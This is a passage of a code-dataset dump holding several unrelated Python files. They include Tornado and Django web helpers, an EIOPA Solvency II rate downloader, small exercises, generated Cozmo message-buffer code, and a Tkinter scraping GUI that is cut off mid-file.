6)[6:-1]\n for word in tag.split(' '):\n tags.append(word)\n tags=dict(Counter(tags).items())\n return tags\n\ndef YearsReader(post_dir):\n years=[]\n files=os.listdir(post_dir)\n for f in files:\n if f.startswith('.'):\n continue\n years.append(f[0:4])\n years.sort(reverse=True)\n years=list(set(years))\n return years\n\nclass BaseHandler(tornado.web.RequestHandler):\n application_export = set(())\n def __getattr__(self, key):\n if key in self.application_export:\n return getattr(self.application, key)\n super(BaseHandler, self).__getattr__(key)\n\n def render_string(self, template_name, **kwargs):\n if \"options\" not in kwargs:\n kwargs[\"options\"] = options\n return super(BaseHandler, self).render_string(template_name, **kwargs)\n\n def render(self, template_name, **kwargs):\n tags=TagsReader(site_config[\"post_dir\"])\n years=YearsReader(site_config[\"post_dir\"])\n kwargs[\"tags\"]=tags\n kwargs[\"years\"]=years\n super(BaseHandler,self).render(template_name, **kwargs)\n\n def write_error(self, status_code, **kwargs):\n if status_code==404:\n self.set_status(404)\n self.render(\"404.html\",title=\"404 NOT FOUND\",url=site_config['url'])\n else:\n super(BaseHandler,self).write_error(status_code,**kwargs)\n\n\nclass BaseWebSocket(tornado.websocket.WebSocketHandler):\n pass\n\nclass BaseUIModule(tornado.web.UIModule):\n pass\n","sub_path":"handlers/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":2278,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"387873102","text":"from django.db.models.query import QuerySet\n\nfrom . import settings as app_settings\nfrom .deletion import LogicalDeleteCollector\n\n\nclass LogicalDeleteQuerySet(QuerySet):\n filter_key = '{field_name}__isnull'.format(\n field_name=app_settings.FIELD_NAME\n )\n\n def deleted(self):\n \"\"\"Custom filter for retrieving deleted objects only\"\"\"\n return self.filter(**{self.filter_key: False})\n\n def not_deleted(self):\n \"\"\"Custom filter for retrieving not deleted objects only\"\"\"\n return self.filter(**{self.filter_key: True})\n\n def delete(self, hard_delete=False):\n \"\"\"Delete objects in queryset.\n\n Args:\n hard_delete(bool): force hard object deletion\n \"\"\"\n if hard_delete:\n return self.hard_delete()\n msg = 'Cannot use \"limit\" or \"offset\" with delete.'\n assert self.query.can_filter(), msg\n for obj in self.all():\n obj.delete()\n self._result_cache = None\n delete.alters_data = True\n\n def hard_delete(self):\n \"\"\"Method to hard delete object.\n\n This is the original `delete()` method from ``QuerySet`` class, but\n with using of ``LogicalDeleteCollector`` instead of ``Collector``.\n\n \"\"\"\n return super().delete()\n","sub_path":"pinax/models/query.py","file_name":"query.py","file_ext":"py","file_size_in_byte":1278,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"275061852","text":"\"\"\"\nDownloads rfr and stores in sqlite database for future reference\n\n\"\"\"\nimport os\nimport zipfile\nimport pandas as pd\nimport urllib\nfrom datetime import date\nimport logging\n\nfrom solvency2_data.sqlite_handler import EiopaDB\nfrom solvency2_data.util import get_config\nfrom solvency2_data.rfr import read_spot, read_spreads, read_govies, read_meta\nfrom solvency2_data.scraping import eiopa_link\n\n\ndef get_workspace():\n \"\"\" Get the workspace for saving xl and the database \"\"\"\n config = get_config().get('Directories')\n path_db = config.get('db_folder')\n database = os.path.join(path_db, \"eiopa.db\")\n path_raw = config.get('raw_data')\n return {'database': database, 'raw_data': path_raw}\n\n\ndef download_file(url: str,\n raw_folder, # url of the file to download\n filename='' # file path+name to give to the file to download\n ):\n \"\"\"\n this function downloads a file and give it a name if not explicitly specified.\n \"\"\"\n\n if filename:\n extension = url[(url.rfind(\".\")):]\n if extension not in filename:\n filename = filename + extension\n else:\n pass\n else:\n # if filename not specified, then the file name will be the original file name\n filename = url[(url.rfind(\"/\") + 1):]\n\n target_file = os.path.join(raw_folder, filename)\n\n if os.path.isfile(target_file):\n logging.info(\"file already exists in this location, not downloading\")\n\n else:\n if not os.path.exists(raw_folder):\n os.makedirs(raw_folder)\n urllib.request.urlretrieve(url, target_file) # simpler for file downloading\n logging.info(\"file downloaded and saved in the following location: \" + target_file)\n\n return target_file\n\n\ndef download_EIOPA_rates(url, ref_date):\n \"\"\" Download and unzip the EIOPA files \"\"\"\n workspace = get_workspace()\n raw_folder = workspace['raw_data']\n zip_file = download_file(url, raw_folder)\n\n reference_date = ref_date.strftime('%Y%m%d')\n\n name_excelfile = \"EIOPA_RFR_\" + reference_date + \"_Term_Structures\" + \".xlsx\"\n name_excelfile_spreads = \"EIOPA_RFR_\" + reference_date + \"_PD_Cod\" + \".xlsx\"\n\n with zipfile.ZipFile(zip_file) as zipobj:\n zipobj.extract(name_excelfile, raw_folder)\n zipobj.extract(name_excelfile_spreads, raw_folder)\n return {'rfr': os.path.join(raw_folder, name_excelfile),\n 'meta': os.path.join(raw_folder, name_excelfile),\n 'spreads': os.path.join(raw_folder, name_excelfile_spreads),\n 'govies': os.path.join(raw_folder, name_excelfile_spreads),\n }\n\n\ndef extract_spot_rates(rfr_filepath):\n logging.info('Extracting spots: ' + rfr_filepath)\n # TODO: Complete this remap dictionary\n currency_codes_and_regions = {\"EUR\": \"Euro\", \"PLN\": \"Poland\", \"CHF\": \"Switzerland\",\n \"USD\": \"United States\", \"GBP\": \"United Kingdom\", \"NOK\": \"Norway\",\n \"SEK\": \"Sweden\", \"DKK\": \"Denmark\", \"HRK\": \"Croatia\"}\n currency_dict = dict((v, k) for k, v in currency_codes_and_regions.items())\n\n\n xls = pd.ExcelFile(rfr_filepath, engine='openpyxl')\n rates_tables = read_spot(xls)\n\n rates_tables = pd.concat(rates_tables)\n rates_tables = rates_tables.rename(columns=currency_dict)[currency_dict.values()]\n\n label_remap = {\"RFR_spot_no_VA\": 'base', \"RFR_spot_with_VA\": 'va',\n \"Spot_NO_VA_shock_UP\": 'up', \"Spot_NO_VA_shock_DOWN\": 'down',\n \"Spot_WITH_VA_shock_UP\": 'va_up', \"Spot_WITH_VA_shock_DOWN\": 'va_down'}\n rates_tables = rates_tables.rename(label_remap)\n\n rates_tables = rates_tables.stack().rename('spot')\n\n rates_tables.index.names = ['scenario', 'duration', 'currency_code']\n rates_tables.index = rates_tables.index.reorder_levels([0, 2, 1])\n rates_tables = rates_tables.sort_index()\n return rates_tables\n\n\ndef extract_meta(rfr_filepath):\n logging.info('Extracting meta data :' + rfr_filepath)\n meta = read_meta(rfr_filepath)\n meta = pd.concat(meta).T\n meta.columns = meta.columns.droplevel()\n meta.index.name = 'Country'\n meta = meta.sort_index()\n return meta\n\n\ndef extract_spreads(spread_filepath):\n logging.info('Extracting spreads: ' + spread_filepath)\n xls = pd.ExcelFile(spread_filepath, engine='openpyxl')\n spreads = read_spreads(xls)\n spreads_non_gov = pd.concat({i: pd.concat(spreads[i]) for i in\n [\"financial fundamental spreads\", \"non-financial fundamental spreads\"]})\n spreads_non_gov = spreads_non_gov.stack().rename('spread')\n spreads_non_gov.index.names = ['type', 'currency_code', 'duration', 'cc_step']\n spreads_non_gov.index = spreads_non_gov.index.reorder_levels([0, 1, 3, 2])\n spreads_non_gov = spreads_non_gov.rename(\n {\"financial fundamental spreads\": 'fin', \"non-financial fundamental spreads\": 'non_fin'})\n return spreads_non_gov\n\n\ndef extract_govies(govies_filepath):\n logging.info('Extracting govies: ' + govies_filepath)\n xls = pd.ExcelFile(govies_filepath, engine='openpyxl')\n cache = read_govies(xls)\n if cache[\"central government fundamental spreads\"] is not None:\n spreads_gov = cache[\"central government fundamental spreads\"].stack().rename('spread').to_frame()\n spreads_gov.index.names = ['duration', 'country_code']\n spreads_gov.index = spreads_gov.index.reorder_levels([1, 0])\n else:\n logging.error('No govies found: ' + govies_filepath)\n spreads_gov = None\n return spreads_gov\n\n\ndef extract_sym_adj(sym_adj_filepath, ref_date):\n\n df = pd.read_excel(sym_adj_filepath,\n sheet_name='Symmetric_adjustment',\n usecols='E, K',\n nrows=1,\n skiprows=7,\n header=None,\n squeeze=True,\n names=['ref_date', 'sym_adj'])\n\n input_ref = ref_date.strftime('%Y-%m-%d')\n ref_check = df.at[0, 'ref_date'].strftime('%Y-%m-%d')\n\n if input_ref != ref_check:\n logging.warning('Date mismatch in sym_adj file: ' + sym_adj_filepath)\n logging.warning('Try opening this file and setting the date correctly then save and close, and rerun.')\n return None\n else:\n df = df.set_index('ref_date')\n return df\n\n\ndef add_to_db(ref_date, db, data_type='rfr'):\n \"\"\" Call this if a set is missing \"\"\"\n url = eiopa_link(ref_date, data_type=data_type)\n set_id = db.get_set_id(url)\n\n if data_type != 'sym_adj':\n files = download_EIOPA_rates(url, ref_date)\n if data_type == 'rfr':\n df = extract_spot_rates(files[data_type])\n elif data_type == 'meta':\n df = extract_meta(files[data_type])\n elif data_type == 'spreads':\n df = extract_spreads(files[data_type])\n elif data_type == 'govies':\n df = extract_govies(files[data_type])\n else:\n raise KeyError\n elif data_type == 'sym_adj':\n workspace = get_workspace()\n raw_folder = workspace['raw_data']\n file = download_file(url, raw_folder)\n df = extract_sym_adj(file, ref_date)\n\n if df is not None:\n df = df.reset_index()\n df['url_id'] = set_id\n df['ref_date'] = ref_date.strftime('%Y-%m-%d')\n df.to_sql(data_type, con=db.conn, if_exists='append', index=False)\n set_types = {'govies': 'rfr', 'spreads': 'rfr', 'meta':'rfr'}\n db.update_catalog(\n url_id=set_id,\n dict_vals={\n 'set_type': set_types.get(data_type, data_type),\n 'primary_set': True,\n 'ref_date': ref_date.strftime('%Y-%m-%d')}\n )\n return None\n\n\ndef get(ref_date, data_type='rfr'):\n \"\"\" Main API function \"\"\"\n # Check if DB exists, if not, create it:\n workspace = get_workspace()\n database = workspace['database']\n db = EiopaDB(database)\n\n sql_map = {\n 'rfr': \"SELECT * FROM rfr WHERE ref_date = '\" + ref_date.strftime('%Y-%m-%d') + \"'\",\n 'meta': \"SELECT * FROM meta WHERE ref_date = '\" + ref_date.strftime('%Y-%m-%d') + \"'\",\n 'spreads': \"SELECT * FROM spreads WHERE ref_date = '\" + ref_date.strftime('%Y-%m-%d') + \"'\",\n 'govies': \"SELECT * FROM govies WHERE ref_date = '\" + ref_date.strftime('%Y-%m-%d') + \"'\",\n 'sym_adj': \"SELECT * FROM sym_adj WHERE ref_date = '\" + ref_date.strftime('%Y-%m-%d') + \"'\"\n }\n sql = sql_map.get(data_type)\n df = pd.read_sql(sql, con=db.conn)\n if df.empty:\n add_to_db(ref_date, db, data_type)\n df = pd.read_sql(sql, con=db.conn)\n if ~df.empty:\n df = df.drop(columns=['url_id', 'ref_date'])\n return df\n else:\n return None\n\n\ndef refresh():\n dr = pd.date_range(date(2016, 1, 31), date.today(), freq='M')\n for ref_date in dr:\n for data_type in ['rfr', 'meta', 'spreads', 'govies', 'sym_adj']:\n df = get(ref_date, data_type)\n return \"Database successfully rebuilt\"\n","sub_path":"solvency2_data/eiopa_data.py","file_name":"eiopa_data.py","file_ext":"py","file_size_in_byte":9028,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"154671555","text":"#numerosTriangulares\r\n\r\nprint(\"Os valores imprimidos serão todos números triangulares\\nmúltiplos de entre o número inicial e o número final.\")\r\n\r\nnumeroInicial = int(input(\"\\nDigite o número inicial: \"))\r\nnumeroFinal = int(input(\"Digite o número final: \"))\r\n\r\nresultado = 0\r\n\r\nprint(\"\")\r\n\r\nfor numeroInicial in range(numeroInicial, (numeroFinal + 1), 1):\r\n\r\n if numeroInicial % 5 == 0:\r\n \r\n resultado = (numeroInicial * (numeroInicial + 1) // 2)\r\n print(\"O número %i é triangular de %i.\" %(resultado, numeroInicial))\r\n","sub_path":"Shared Codes/Python/Números Triangulares.py","file_name":"Números Triangulares.py","file_ext":"py","file_size_in_byte":551,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"467664599","text":"from django.conf import settings\nfrom django import forms\n\ndef thumbnail(image_path, width, height):\n absolute_url = f\"{settings.MEDIA_URL}/{image_path}\"\n return '\"{}\"'.format(absolute_url, image_path)\n\n\nclass ImageWidget(forms.ClearableFileInput):\n template = '
%(image)s
' \\\n '
%(clear_template)s
' \\\n '
%(input)s
'\n\n def __init__(self, attrs=None, template=None, width=200, height=200):\n if template is not None:\n self.template = template\n self.width = width\n self.height = height\n super().__init__(attrs)\n\n def render(self, name, value, attrs=None):\n substitutions = {\n 'initial_text': self.initial_text,\n 'input_text': self.input_text,\n 'clear_template': '',\n 'clear_checkbox_label': self.clear_checkbox_label,\n }\n if not self.is_required:\n checkbox_name = self.clear_checkbox_name(name)\n checkbox_id = self.clear_checkbox_id(checkbox_name)\n substitutions['clear_checkbox_name'] = conditional_escape(checkbox_name)\n substitutions['clear_checkbox_id'] = conditional_escape(checkbox_id)\n substitutions['clear'] = forms.CheckboxInput().render(checkbox_name, False, attrs={'id': checkbox_id})\n\n input_html = super().render(name, value, attrs)\n if value and hasattr(value, 'width') and hasattr(value, 'height'):\n image_html = thumbnail(value.name, self.width, self.height)\n output = self.template % {'input': input_html,\n 'image': image_html,\n 'clear_template': self.template_with_clear % substitutions}\n else:\n output = input_html\n return mark_safe(output)","sub_path":"Website/Registro/Widgets.py","file_name":"Widgets.py","file_ext":"py","file_size_in_byte":1861,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"55968825","text":"class Solution:\n def isValid(self, s: str) -> bool:\n mapping = {'{':'}','(':')','[':']'}\n lefts = set(mapping.keys())\n \n stack = []\n for c in s:\n if c in lefts:\n stack.append(c)\n elif not stack:\n return False\n else:\n check = stack.pop(-1)\n if mapping[check] != c:\n return False\n \n return not stack ","sub_path":"week-4/stacks/ValidParenthesis.py","file_name":"ValidParenthesis.py","file_ext":"py","file_size_in_byte":470,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"138287272","text":"# Copyright (c) 2016 Anki, Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License in the file LICENSE.txt or at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\"\"\"\nAutogenerated python message buffer code.\nSource: clad/physicsInterface/messageSimPhysics.clad\nFull command line: ../tools/message-buffers/emitters/Python_emitter.py -C ./vizSrc/ -I ../robot/clad/src/ ./src/ -o ../generated/cladPython// clad/physicsInterface/messageSimPhysics.clad\n\"\"\"\n\nfrom __future__ import absolute_import\nfrom __future__ import print_function\n\ndef _modify_path():\n import inspect, os, sys\n search_paths = [\n '../..',\n '../../../../tools/message-buffers/support/python',\n ]\n currentpath = os.path.abspath(os.path.dirname(inspect.getfile(inspect.currentframe())))\n for search_path in search_paths:\n search_path = os.path.normpath(os.path.abspath(os.path.realpath(os.path.join(currentpath, search_path))))\n if search_path not in sys.path:\n sys.path.insert(0, search_path)\n_modify_path()\n\nimport msgbuffers\n\nAnki = msgbuffers.Namespace()\nAnki.Cozmo = msgbuffers.Namespace()\nAnki.Cozmo.PhysicsInterface = msgbuffers.Namespace()\n\nclass ApplyForce(object):\n \"Generated message-passing message.\"\n\n __slots__ = (\n '_xForce', # float_32\n '_yForce', # float_32\n '_zForce', # float_32\n '_DefName', # string[uint_8]\n )\n\n @property\n def xForce(self):\n \"float_32 xForce struct property.\"\n return self._xForce\n\n @xForce.setter\n def xForce(self, value):\n self._xForce = msgbuffers.validate_float(\n 'ApplyForce.xForce', value, 'f')\n\n @property\n def yForce(self):\n \"float_32 yForce struct property.\"\n return self._yForce\n\n @yForce.setter\n def yForce(self, value):\n self._yForce = msgbuffers.validate_float(\n 'ApplyForce.yForce', value, 'f')\n\n @property\n def zForce(self):\n \"float_32 zForce struct property.\"\n return self._zForce\n\n @zForce.setter\n def zForce(self, value):\n self._zForce = msgbuffers.validate_float(\n 'ApplyForce.zForce', value, 'f')\n\n @property\n def DefName(self):\n \"string[uint_8] DefName struct property.\"\n return self._DefName\n\n @DefName.setter\n def DefName(self, value):\n self._DefName = msgbuffers.validate_string(\n 'ApplyForce.DefName', value, 255)\n\n def __init__(self, xForce=0.0, yForce=0.0, zForce=0.0, DefName=''):\n self.xForce = xForce\n self.yForce = yForce\n self.zForce = zForce\n self.DefName = DefName\n\n @classmethod\n def unpack(cls, buffer):\n \"Reads a new ApplyForce from the given buffer.\"\n reader = msgbuffers.BinaryReader(buffer)\n value = cls.unpack_from(reader)\n if reader.tell() != len(reader):\n raise msgbuffers.ReadError(\n ('ApplyForce.unpack received a buffer of length {length}, ' +\n 'but only {position} bytes were read.').format(\n length=len(reader), position=reader.tell()))\n return value\n\n @classmethod\n def unpack_from(cls, reader):\n \"Reads a new ApplyForce from the given BinaryReader.\"\n _xForce = reader.read('f')\n _yForce = reader.read('f')\n _zForce = reader.read('f')\n _DefName = reader.read_string('B')\n return cls(_xForce, _yForce, _zForce, _DefName)\n\n def pack(self):\n \"Writes the current ApplyForce, returning bytes.\"\n writer = msgbuffers.BinaryWriter()\n self.pack_to(writer)\n return writer.dumps()\n\n def pack_to(self, writer):\n \"Writes the current ApplyForce to the given BinaryWriter.\"\n writer.write(self._xForce, 'f')\n writer.write(self._yForce, 'f')\n writer.write(self._zForce, 'f')\n writer.write_string(self._DefName, 'B')\n\n def __eq__(self, other):\n if type(self) is type(other):\n return (self._xForce == other._xForce and\n self._yForce == other._yForce and\n self._zForce == other._zForce and\n self._DefName == other._DefName)\n else:\n return NotImplemented\n\n def __ne__(self, other):\n if type(self) is type(other):\n return not self.__eq__(other)\n else:\n return NotImplemented\n\n def __len__(self):\n return (msgbuffers.size(self._xForce, 'f') +\n msgbuffers.size(self._yForce, 'f') +\n msgbuffers.size(self._zForce, 'f') +\n msgbuffers.size_string(self._DefName, 'B'))\n\n def __str__(self):\n return '{type}(xForce={xForce}, yForce={yForce}, zForce={zForce}, DefName={DefName})'.format(\n type=type(self).__name__,\n xForce=self._xForce,\n yForce=self._yForce,\n zForce=self._zForce,\n DefName=msgbuffers.shorten_string(self._DefName))\n\n def __repr__(self):\n return '{type}(xForce={xForce}, yForce={yForce}, zForce={zForce}, DefName={DefName})'.format(\n type=type(self).__name__,\n xForce=repr(self._xForce),\n yForce=repr(self._yForce),\n zForce=repr(self._zForce),\n DefName=repr(self._DefName))\n\nAnki.Cozmo.PhysicsInterface.ApplyForce = ApplyForce\ndel ApplyForce\n\n\nclass MessageSimPhysics(object):\n \"Generated message-passing union.\"\n\n __slots__ = ('_tag', '_data')\n\n class Tag(object):\n \"The type indicator for this union.\"\n ApplyForce = 0 # Anki.Cozmo.PhysicsInterface.ApplyForce\n\n @property\n def tag(self):\n \"The current tag for this union.\"\n return self._tag\n\n @property\n def tag_name(self):\n \"The name of the current tag for this union.\"\n if self._tag in self._tags_by_value:\n return self._tags_by_value[self._tag]\n else:\n return None\n\n @property\n def data(self):\n \"The data held by this union. None if no data is set.\"\n return self._data\n\n @property\n def ApplyForce(self):\n \"Anki.Cozmo.PhysicsInterface.ApplyForce ApplyForce union property.\"\n msgbuffers.safety_check_tag('ApplyForce', self._tag, self.Tag.ApplyForce, self._tags_by_value)\n return self._data\n\n @ApplyForce.setter\n def ApplyForce(self, value):\n self._data = msgbuffers.validate_object(\n 'MessageSimPhysics.ApplyForce', value, Anki.Cozmo.PhysicsInterface.ApplyForce)\n self._tag = self.Tag.ApplyForce\n\n def __init__(self, **kwargs):\n if not kwargs:\n self._tag = None\n self._data = None\n\n elif len(kwargs) == 1:\n key, value = next(iter(kwargs.items()))\n if key not in self._tags_by_name:\n raise TypeError(\"'{argument}' is an invalid keyword argument for this method.\".format(argument=key))\n # calls the correct property\n setattr(self, key, value)\n\n else:\n raise TypeError('This method only accepts up to one keyword argument.')\n\n @classmethod\n def unpack(cls, buffer):\n \"Reads a new MessageSimPhysics from the given buffer.\"\n reader = msgbuffers.BinaryReader(buffer)\n value = cls.unpack_from(reader)\n if reader.tell() != len(reader):\n raise msgbuffers.ReadError(\n ('MessageSimPhysics.unpack received a buffer of length {length}, ' +\n 'but only {position} bytes were read.').format(\n length=len(reader), position=reader.tell()))\n return value\n\n @classmethod\n def unpack_from(cls, reader):\n \"Reads a new MessageSimPhysics from the given BinaryReader.\"\n tag = reader.read('B')\n if tag in cls._tags_by_value:\n value = cls()\n setattr(value, cls._tags_by_value[tag], cls._tag_unpack_methods[tag](reader))\n return value\n else:\n raise ValueError('MessageSimPhysics attempted to unpack unknown tag {tag}.'.format(tag=tag))\n\n def pack(self):\n \"Writes the current MessageSimPhysics, returning bytes.\"\n writer = msgbuffers.BinaryWriter()\n self.pack_to(writer)\n return writer.dumps()\n\n def pack_to(self, writer):\n \"Writes the current SampleUnion to the given BinaryWriter.\"\n if self._tag in self._tags_by_value:\n writer.write(self._tag, 'B')\n self._tag_pack_methods[self._tag](writer, self._data)\n else:\n raise ValueError('Cannot pack an empty MessageSimPhysics.')\n\n def clear(self):\n self._tag = None\n self._data = None\n\n @classmethod\n def typeByTag(cls, tag):\n return cls._type_by_tag_value[tag]()\n\n def __eq__(self, other):\n if type(self) is type(other):\n return self._tag == other._tag and self._data == other._data\n else:\n return NotImplemented\n\n def __ne__(self, other):\n if type(self) is type(other):\n return not self.__eq__(other)\n else:\n return NotImplemented\n\n def __len__(self):\n if 0 <= self._tag < 1:\n return self._tag_size_methods[self._tag](self._data)\n else:\n return 1\n\n def __str__(self):\n if 0 <= self._tag < 1:\n return '{type}({name}={value})'.format(\n type=type(self).__name__,\n name=self.tag_name,\n value=self._data)\n else:\n return '{type}()'.format(\n type=type(self).__name__)\n\n def __repr__(self):\n if 0 <= self._tag < 1:\n return '{type}({name}={value})'.format(\n type=type(self).__name__,\n name=self.tag_name,\n value=repr(self._data))\n else:\n return '{type}()'.format(\n type=type(self).__name__)\n\n _tags_by_name = dict(\n ApplyForce=0,\n )\n\n _tags_by_value = dict()\n _tags_by_value[0] = 'ApplyForce'\n \n\n _tag_unpack_methods = dict()\n _tag_unpack_methods[0] = lambda reader: reader.read_object(Anki.Cozmo.PhysicsInterface.ApplyForce.unpack_from)\n \n\n _tag_pack_methods = dict()\n _tag_pack_methods[0] = lambda writer, value: writer.write_object(value)\n \n\n _tag_size_methods = dict()\n _tag_size_methods[0] = lambda value: msgbuffers.size_object(value)\n \n\n _type_by_tag_value = dict()\n _type_by_tag_value[0] = lambda : Anki.Cozmo.PhysicsInterface.ApplyForce\n \n\nAnki.Cozmo.PhysicsInterface.MessageSimPhysics = MessageSimPhysics\ndel MessageSimPhysics\n\n\n","sub_path":"rest_env/Lib/site-packages/cozmoclad/clad/physicsInterface/messageSimPhysics.py","file_name":"messageSimPhysics.py","file_ext":"py","file_size_in_byte":9938,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"298045004","text":"# coding: utf-8\n\nfrom tkinter import *\nfrom tkinter import ttk\nfrom tkinter.filedialog import *\nimport lxml\nimport Parser\nimport threading\nimport time\nimport os, sys, subprocess\n\n# Класс нашего приложения с графическим интерфейсом\nclass Application(Frame):\n\tdef __init__(self, parent):\n\t\tsuper(Application, self).__init__(parent)\n\t\tself.pack(fill = BOTH, padx=20, pady=20)\n\t\tself.make_main_view()\n\n\t# Переменные отвечающая за состояние текстового поля и древовидногополя. Скрыты они или нет\n\tstatusTextFrame = False\n\n\t# Создание графического окружения\n\tdef make_main_view(self):\n\t\t# Главный фрейм\n\t\tself.mainFrame = Frame(self)\n\t\tself.mainFrame.pack(fill = BOTH)\n\t\t# Фрейм для ввода данных по параметрам парсинга\n\t\tself.parseFrame = Frame(self.mainFrame)\n\t\tLabel(self.parseFrame, text = 'Введите URL и количество потоков').pack()\n\t\tself.parseFrame.pack(fill = X)\n\t\t# В этот фрейм суем поле для ввода URL'а\n\t\tself.parseUrl = Entry(self.parseFrame)\n\t\tself.parseUrl.insert(END, 'http://bash.im/')\n\t\tself.parseUrl.pack(side = 'left', expand = True, fill = X)\n\t\t# И сюда же поле для ввода количества потоков\n\t\tself.parseThreads = Entry(self.parseFrame, width = 2)\n\t\tself.parseThreads.insert(END, '20')\n\t\tself.parseThreads.pack(side = 'right', expand = True, fill = X)\n\t\t# Фрейм для кнопочек парсера\n\t\tself.parseButtonFrame = Frame(self.mainFrame)\n\t\tself.parseButtonFrame.pack(fill = X, side = 'top')\n\t\t# Кнопочка для отправки URL'а и количества тредов на парсинг\n\t\tself.sendUrl = Button(self.parseButtonFrame, text = 'Распарсить')\n\t\t# Вещаем на клик ЛКМ метод 'self.parse_url'\n\t\tself.sendUrl.bind('', self.parse_url)\n\t\tself.sendUrl.pack(side = 'left', expand = True, fill = X)\n\t\t# Кнопочка для остановки парсинга\n\t\tself.stopBot = Button(self.parseButtonFrame, text = 'Достаточно!')\n\t\tself.stopBot.pack(side = 'right', expand = True, fill = X)\n\t\t# Вещаем на клик ЛКМ метод 'self.stopParse'\n\t\tself.stopBot.bind('', self.stopParse)\n\t\t# Создаем фрейм текстового поля для вывода лога работы\n\t\tself.textFrame = Frame(self.mainFrame)\n\t\t# Создаем непосредственно текстовое поля для вывода лога работы\n\t\tself.logText = Text(self.textFrame)\n\t\tself.logText.pack(side = 'left', fill = 'both')\n\t\t# И для него же полосу прокрутки\n\t\tself.scrollBar = Scrollbar(self.textFrame)\n\t\tself.scrollBar.pack(side = 'right', fill = 'y')\n\t\t# Связываем текстовое поля и полосу прокрутки\n\t\tself.scrollBar['command'] = self.logText.yview\n\t\tself.logText['yscrollcommand'] = self.scrollBar.set\n\t\t# Создаем кнопочку для скрытия и показа текст фрейма\n\t\tself.showHideTextFrameButton = Button(self, text = 'Показать/Скрыть лог')\n\t\t# Вещаем на клик ЛКМ метод 'self.show_hide_text_frame'\n\t\tself.showHideTextFrameButton.bind('', self.show_hide_text_frame)\n\t\tself.showHideTextFrameButton.pack(fill = BOTH)\n\t\t# Тут создаем фрейм для выбора *.xml файла для постройки дерева\n\t\tself.chooiceFileFrame = Frame(self)\n\t\t# Поместим метку в фрейм\n\t\tLabel(self.chooiceFileFrame, text = 'Выберите xml документ для постройки дерева').pack()\n\t\t# Кнопочка для выбора файла\n\t\tself.chooiceFile = Button(self.chooiceFileFrame, text = 'Выбрать файл...')\n\t\t# Вещаем на клик ЛКМ метод 'self.load_file'\n\t\tself.chooiceFile.bind('', self.load_file)\n\t\tself.chooiceFile.pack(side = 'left', expand = True, fill = X)\n\t\t# Кнопочка для постройки дерева по xml-нику\n\t\tself.sendParseXmlButton = Button(self.chooiceFileFrame, text = 'Построить дерево')\n\t\t# Вещаем на клик ЛКМ метод 'self.make_tree'\n\t\tself.sendParseXmlButton.bind('', self.make_tree)\n\t\tself.sendParseXmlButton.pack(side = 'right', expand = True, fill = X)\n\t\tself.chooiceFileFrame.pack(fill = X)\n\t\t# Фрейм для дерева\n\t\tself.treeFrame = Frame(self)\n\t\t# Это экземпляр GUI класса дерева\n\t\tself.tree = ttk.Treeview(self.treeFrame, height = 200)\n\t\tself.tree.heading(\"#0\", text=\"Деревце\")\n\t\tself.tree.column(\"#0\")\n\t\tself.tree.pack(fill = BOTH, expand = True)\n\t\t# Кнопка справки\n\t\tself.manualButton = Button(self, text = 'Справка')\n\t\tself.manualButton.pack(expand = True, fill = X)\n\t\tself.manualButton.bind('', self.open_file)\n\n\t# Метод остановки парсера\n\tdef stopParse(self, event):\n\t\tself.bot.stop()\n\n\t# Метод показа-скрытия текстового фрейма\n\tdef show_hide_text_frame(self, event):\n\t\t# Если показан, то скрываем\n\t\tif self.statusTextFrame:\n\t\t\tself.textFrame.pack_forget()\n\t\t\t# И меняем статус\n\t\t\tself.statusTextFrame = False\n\t\t# Иначе показываем\n\t\telse:\n\t\t\tself.textFrame.pack(expand = True, fill = BOTH)\n\t\t\t# И меняем статус\n\t\t\tself.statusTextFrame = True\n\n\t# Метод загрузки файла\n\tdef load_file(self, event):\n\t\t# Запускаем диалог выбора файла, возвращает путь файла\n\t\tself.filename = askopenfilename(filetypes = [('*.xml files', '.xml')])\n\t\t# Показываем, какой файл выбран\n\t\tself.infoFilename = Label(self, text = 'Выбран файл: ' + self.filename)\n\t\tself.infoFilename.pack()\n\n\t# Метод запуска парсера\n\tdef parse_url(self, event):\n\t\t# Показываем фрейм лог-текста, если он не открыт и меняем его статус\n\t\tif not self.statusTextFrame:\n\t\t\tself.textFrame.pack(expand = True, fill = X)\n\t\t\tself.statusTextFrame = True\n\t\t# Создаем поток для бота, чтобы не тупил GUI\n\t\tself.t_bot = threading.Thread(target = self.run_bot)\n\t\t# И запускаем его\n\t\tself.t_bot.start()\n\n\t# Метод запуска бота\n\tdef run_bot(self):\n\t\t# Очищаем текстовое поле\n\t\tself.logText.delete('1.0', END)\n\t\t# Извлекаем URL из строки текста\n\t\tinitial_urls = self.parseUrl.get()\n\t\t# И количество потоков тоже извлекаем\n\t\tthread_number = self.parseThreads.get()\n\t\t# Создаем объект класса нашего \"паучка\"\n\t\tself.bot = Parser.SimpleSpider(thread_number = int(thread_number), initial_urls = [initial_urls], GUI = self)\n\t\t# Запосинаем начальное время старта бота\n\t\tstart = time.time()\n\t\t# Запускаем бот\n\t\tself.bot.run()\n\t\t# После завершения работы бота, выводим информацию о затраченном времени и количестве\n\t\t# сграбленных ссылок\n\t\tself.logText.insert(END, '\\nВсего сграблено ссылок: ' + str(len(self.bot.set_urls)-1) + '\\nЗатрачено секунд: ' + str(int(time.time()-start)) + '\\nРезультат сохранен в файл db.xml')\n\t\tself.logText.see(END)\n\t\t# Эта перемення хранит дерево нашего бота в формате XML\n\t\tself.handle = lxml.etree.tostring(self.bot.page, pretty_print=True, 